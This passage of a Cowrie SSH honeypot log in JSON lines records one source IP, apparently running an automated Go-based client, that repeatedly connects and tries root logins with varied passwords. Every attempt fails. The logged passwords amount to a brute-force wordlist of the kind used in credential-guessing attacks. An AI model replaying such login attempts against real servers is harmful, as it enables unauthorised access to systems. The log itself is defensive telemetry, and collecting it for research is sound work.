{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:45.466475Z","src_ip":"60.165.124.241","session":"65bfcc92e3fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45978,"dst_ip":"10.17.0.5","dst_port":22,"session":"780692475e84","protocol":"ssh","message":"New connection: 60.165.124.241:45978 (10.17.0.5:22) [session: 780692475e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:45.703555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:45.708058Z","src_ip":"60.165.124.241","session":"780692475e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:45.956428Z","src_ip":"60.165.124.241","session":"780692475e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123!!","message":"login attempt [root/Test123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:46.681814Z","src_ip":"60.165.124.241","session":"780692475e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:47.920793Z","src_ip":"60.165.124.241","session":"780692475e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49306,"dst_ip":"10.17.0.5","dst_port":22,"session":"8126d5917aac","protocol":"ssh","message":"New connection: 60.165.124.241:49306 (10.17.0.5:22) [session: 8126d5917aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:48.158305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:48.161855Z","src_ip":"60.165.124.241","session":"8126d5917aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:48.407269Z","src_ip":"60.165.124.241","session":"8126d5917aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yd123456","message":"login attempt [root/Yd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:49.149209Z","src_ip":"60.165.124.241","session":"8126d5917aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:50.403464Z","src_ip":"60.165.124.241","session":"8126d5917aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52420,"dst_ip":"10.17.0.5","dst_port":22,"session":"c844f91b750d","protocol":"ssh","message":"New connection: 60.165.124.241:52420 (10.17.0.5:22) [session: c844f91b750d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:50.659495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:50.665446Z","src_ip":"60.165.124.241","session":"c844f91b750d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:50.919709Z","src_ip":"60.165.124.241","session":"c844f91b750d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unl0ck","message":"login attempt [root/unl0ck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:51.681844Z","src_ip":"60.165.124.241","session":"c844f91b750d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:52.932515Z","src_ip":"60.165.124.241","session":"c844f91b750d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55448,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e948354322","protocol":"ssh","message":"New connection: 60.165.124.241:55448 (10.17.0.5:22) [session: 47e948354322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:53.165743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:53.173983Z","src_ip":"60.165.124.241","session":"47e948354322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:53.419972Z","src_ip":"60.165.124.241","session":"47e948354322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fai=0.618","message":"login attempt [root/Fai=0.618] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:55.015182Z","src_ip":"60.165.124.241","session":"47e948354322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:56.262982Z","src_ip":"60.165.124.241","session":"47e948354322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59556,"dst_ip":"10.17.0.5","dst_port":22,"session":"19682b3fbb67","protocol":"ssh","message":"New connection: 60.165.124.241:59556 (10.17.0.5:22) [session: 19682b3fbb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:56.511450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:56.517178Z","src_ip":"60.165.124.241","session":"19682b3fbb67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:56.767411Z","src_ip":"60.165.124.241","session":"19682b3fbb67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bx123456.","message":"login attempt [root/Bx123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:57.516954Z","src_ip":"60.165.124.241","session":"19682b3fbb67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:58.772538Z","src_ip":"60.165.124.241","session":"19682b3fbb67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34596,"dst_ip":"10.17.0.5","dst_port":22,"session":"10ce81f0c448","protocol":"ssh","message":"New connection: 60.165.124.241:34596 (10.17.0.5:22) [session: 10ce81f0c448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:59.023671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:59.028200Z","src_ip":"60.165.124.241","session":"10ce81f0c448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:59.266881Z","src_ip":"60.165.124.241","session":"10ce81f0c448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LNHClnhclnhc@1","message":"login attempt [root/LNHClnhclnhc@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:00.742646Z","src_ip":"60.165.124.241","session":"10ce81f0c448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:02.002232Z","src_ip":"60.165.124.241","session":"10ce81f0c448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38800,"dst_ip":"10.17.0.5","dst_port":22,"session":"909755a14baf","protocol":"ssh","message":"New connection: 60.165.124.241:38800 (10.17.0.5:22) [session: 909755a14baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:02.228612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:02.232466Z","src_ip":"60.165.124.241","session":"909755a14baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:02.477988Z","src_ip":"60.165.124.241","session":"909755a14baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xt123456","message":"login attempt [root/Xt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:03.209954Z","src_ip":"60.165.124.241","session":"909755a14baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:04.448363Z","src_ip":"60.165.124.241","session":"909755a14baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41492,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c17440b1f90","protocol":"ssh","message":"New connection: 60.165.124.241:41492 (10.17.0.5:22) [session: 9c17440b1f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:04.686295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:04.691905Z","src_ip":"60.165.124.241","session":"9c17440b1f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:04.930064Z","src_ip":"60.165.124.241","session":"9c17440b1f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123$%^","message":"login attempt [root/admin@123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:05.663378Z","src_ip":"60.165.124.241","session":"9c17440b1f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:06.906919Z","src_ip":"60.165.124.241","session":"9c17440b1f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44654,"dst_ip":"10.17.0.5","dst_port":22,"session":"918796f65b32","protocol":"ssh","message":"New connection: 60.165.124.241:44654 (10.17.0.5:22) [session: 918796f65b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:07.147066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:07.151804Z","src_ip":"60.165.124.241","session":"918796f65b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","cha